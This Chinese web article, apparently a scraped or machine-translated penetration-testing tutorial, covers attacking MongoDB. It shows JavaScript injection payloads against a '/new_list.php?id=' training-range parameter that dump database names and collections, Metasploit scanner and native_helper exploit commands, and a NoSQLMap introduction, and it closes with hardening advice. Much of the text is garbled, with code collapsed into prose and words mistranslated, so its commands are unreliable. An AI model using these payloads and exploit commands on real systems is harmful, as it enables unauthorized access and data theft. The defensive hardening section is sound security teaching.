本文主要介绍渗透测试培训(渗透测试工具),下面一起看看渗透测试培训(渗透测试工具)相关资讯。
基本知识端口号:27017
初始数据库
管理员:从权限的角度来看,这是 根与树数据库。如果将用户添加到此数据库,该用户将自动继承所有数据库的权限。一些特定的服务器端命令只能从该数据库运行,例如列出所有数据库或关闭服务器。
local:这些数据永远不会被复制,并且可以用来存储仅限于单个本地服务器的任何集合。
config:使用mongo进行分片设置时,内部使用config数据库保存分片的相关信息。
安装mongodb
窗子
#下载安装包,二是图形界面管理工具-windows-x86 _ 64-4 . 4 . 13 . zip mongodb-compass-1 . 31 . 2-win32-x64 . zip #选项:custom =不勾选安装mongodb compass =安装后重启#配置环境变量:c: \ program files \ mongodb \ server \ 4.4 \ bin #编译配置文件,以配置文件的形式方便mongodb服务的后续启动,创建文件cecho 12-.然后保存#系统日志相关syst: d:文件#文件存储日志path: c: \ mongodb \ log \ mongodb . log #日志位置,创建\日志目录logapp: tru: journal: #回滚日志: true dbpath: ceco 12-@ . com \ mongodb \data\ db #数据存储目录,并创建\ data \db目录#网络配置相关n: port: 27017 #默认端口bindip: 0 . 0 . 0 . 0 #绑定ip,多个ip用逗号分隔#将mongodb服务添加到windows服务中,以管理员身份打开终端mongod-config c: \ mongodb \ mongodb . conf-install #并在终端打开mongodb服务net start mongodbkali,
#添加软件包apt-get安装gnupg wget-qo- www . mongodb . org/static/pgp/server-4.4 . asc | apt-key add-echo d-org/4.4 main | tee/etc/apt/sources . list . d/mongodb-org-4.4 . list apt-get update #最新版本安装apt-get install -y mongodb-org#定制版本安装,并锁定版本apt-get install-y mongodb-org = 4 . 4 . 13 mongodb-org-server = 4 . 4 . 13 mongodb-org-shell = 4 . 4 . 13 mongodb-org-mongos = 4 . 4 . 13 mongodb-org-tools = 4 .ongodb-org hold dpkg-set-selection echo mongodb-org-server hold dpkg-set-selection echo 壳牌控股有限公司dpkg-集-选择回声 mongodb-org-mongohold dpkg-集-选择回声 mongodb-org-工具库| dpkg-设置-选择#启动mongobsystemctl守护进程-重新加载systemctlst。artmongosystemctl状态mongosystemctl enable mongogod #查看日志cat/var/log/mongodb/mongogod . log #配置远程连接,第24行修改bindip为0.0.0.0 vim/etc/mongogod.conf #重启服务systemctl重启mongod #打开交互shellmongo创建用户。
#配置服务并建立到mongousadmin的远程连接#创建新用户db . create user({ user : toki ,pw: 123456,roles cho 12-@ . com[{ 角色与责任: 用户管理 , db : 行政及管理}、{ 角色与责任: 根与树, db : 行政及管理}、{ 角色与责任: useradminydatabase , db : 行政及管理} })# authoriz:27017/admin#账号管理命令#修改用户权限db . update user( 托奇 ,{ role cho 12-@ .com[{ role cho 12-@ .com readwriteanydatabase ,db: 行政及管理}]) #修改用户密码db . change user password( toki , 123456)#删除用户db . drop user( ;托奇
mongodb可以有多个数据库,每个数据库包含一个或多个集合,每个集合包含一个或多个文档。
#创建数据库使用库名#查看当前数据库db#将数据插入集合db . data . insert({ 用户 : toki })db . data . insert({ toki : 123 }) db.data。。插入({ toki : 456 }) #查看数据库列表显示dbs#查询数据db.data.find#写入条件db . data . find({ 用户 : toki })# delete data db . data . remove({ toki : 456 }) db.data.find #删除集合显示集合db.data.drop显示集合#删除数据库db.dropdatabase显示dbs在线射击场sql手动注入漏洞测试。
#构造连接测试 echo/new _ list . php?id = 1 });return ({title :1,content : ;2 #爆炸库/new_list.php?id = 1 });return({ title : tojson(db),content : ;1 # off the charts #查询所有集合(集合相当于mysql表)/new_list.php?id = 1 });return({ title : tojson(db . getcollectionnames)),content : ;1 # find函数用于查询,0是第一个数据/new_list.php?id = 1 });return({ title : tojson(db。authority _ confidential . find[0])、content t: ;1 # md5破解:,当配置为无认证时,存在未授权访问。msf中的scann测试,navicat连接用于获取数据库中的内容。
#未授权验证和扫描use auxiliary/scanner/mongodb/mongodb _ loginset hosts目标。machine ip/24 set threads 10 exploit # exp using use exploit/linux/misc/mongol _ native _ helper set password password set username account name set rhosts目标机器ipexploit自动评估nosqlmap简介:
nosqlmap是一个开源的python工具,用于审计和自动化注入攻击,并利用nosql数据库和使用nosql的web应用程序中的默认配置弱点来泄露数据库中的数据。目前,该工具的漏洞主要集中在mongodb上,但计划在未来版本中为基于nosql的其他平台(如couchdb、redis和cassandra)提供额外支持。
特点:
mongodb和couchdb的自动化数据库枚举和克隆攻击。通过mongodb web应用程序提取数据库名称、用户和密码哈希。用默认的访问和枚举版本扫描mongodb和couchdb数据库的子网或ip列表。用一个强大的字典把mongodb和couchdb的hash炸开。针对mongoclient的php应用参数注入攻击返回所有数据库记录。javascript函数变量转义和任意代码注入返回所有数据库记录。基于计时的攻击类似于sql盲注验证javascript注入漏洞,没有回显信息。下载:
git clon no sql map #方法1 python2 setup.py install#方法2 cd docker docker build-t nosqlmap。#方法3 docker-compose build docker-compose run no sqlmap整改加固建议只在本地使用本地监控,如mongodb,建议只在本地启动监控服务,监控地址用- bind_ip 127.0.0.1绑定。
mongod-bind _ ip 127 . 0 . 0 . 1-dbpath/tmp/test或者在配置文件中指定ip,linux下默认的配置文件是/etc/mongod.conf。
#网络interfac:端口: 27017 bindip: 127 . 0 . 0 . 1指定配置文件启动。
mongogod-config/etc/mongogod . conf 3.0及以后版本的mongodb,服务默认只对127.0.0.1开放。
限制访问源如果只有内网服务器提供服务,建议不要在互联网上发布mongodb服务,通过防火墙在主机上限制对源ip的访问。
linux使用iptables进行限制。
#允许外部应用访问mongodb默认服务端口27017iptables -a input -s您需要访问mongodb服务的ip-ptcp-destination-port 27017-m state-state new。established -j accept#允许mongodb出站流量到达外部应用程序iptables-a output-d ip-p tcp-source-port 27017-m state-state established-j accept windows可以通过图形管理界面添加防火墙,策略或使用netsh命令添加,参考文档: docs . mongodb . com/manual/tutorial/configure-windows-netsh-firewall/
启动基于角色的登录认证功能mongodb支持scram、x.509证书认证等多种认证机制。scram (salted challenge response认证机制)是版本3的默认认证机制。十、该机制通过用户名和密码进行验证,访问控制基于用户角色。
mongodb 3.0及以上版本启动时,添加- auth参数启动认证访问。此时,如果数据库中没有帐户,本地登录无权执行任何操作。因此,有必要在不进行身份验证的情况下启动服务,并创建系统用户管理员帐户。
#启动mongodb mongogod无访问认证-dbpath/data/db #在无认证的环境下,登录数据库mongo-host127.0.0.1-port27017 #切换到admin库使用admin#创建系统。用户管理员帐户(在3.0之前的版本中,用户是由db.adduser方法创建的)db . cr: 用户名 、pwd: 密码和密码rol:·[{rol: us: 行政及管理}]}) #重启mongodb服务,启动访问认证时添加-auth参数mongod-auth-port 27017-dbpath/tmp/test #或者在配置文件中添加以下内容。指定配置文件启动服务security: authorization:启用#指定配置文件启动mongodb mongod-config/etc/mongo . conf #登录到mongo-port 27017-u 用户名和密码-宝洁公司密码和密码-认证数据库和行政及管理#使用系统用户管理员帐户,或者您可以连接到mongodb而不指定身份验证信息。连接成功后,使用db.auth方法进行身份验证。使用admindb . auth( 用户名 , 密码和密码)#要创建数据库用户,需要创建系统用户管理员帐户并通过系统用户管理员登录,然后为每个数据库创建指定用户。#让 创建一个对产品库具有读写权限的用户,使用productsdb。创建用户({us:用户名 、pwd: 密码和密码,rol:[ 读写 , dbadmin ] })#使用数据库用户访问指定的库mongo-port 27017-u 用户名和密码-宝洁公司密码和密码-认证数据库 产品和服务标签:
数据库用户
了解更多渗透测试培训(渗透测试工具)相关内容请关注本站点。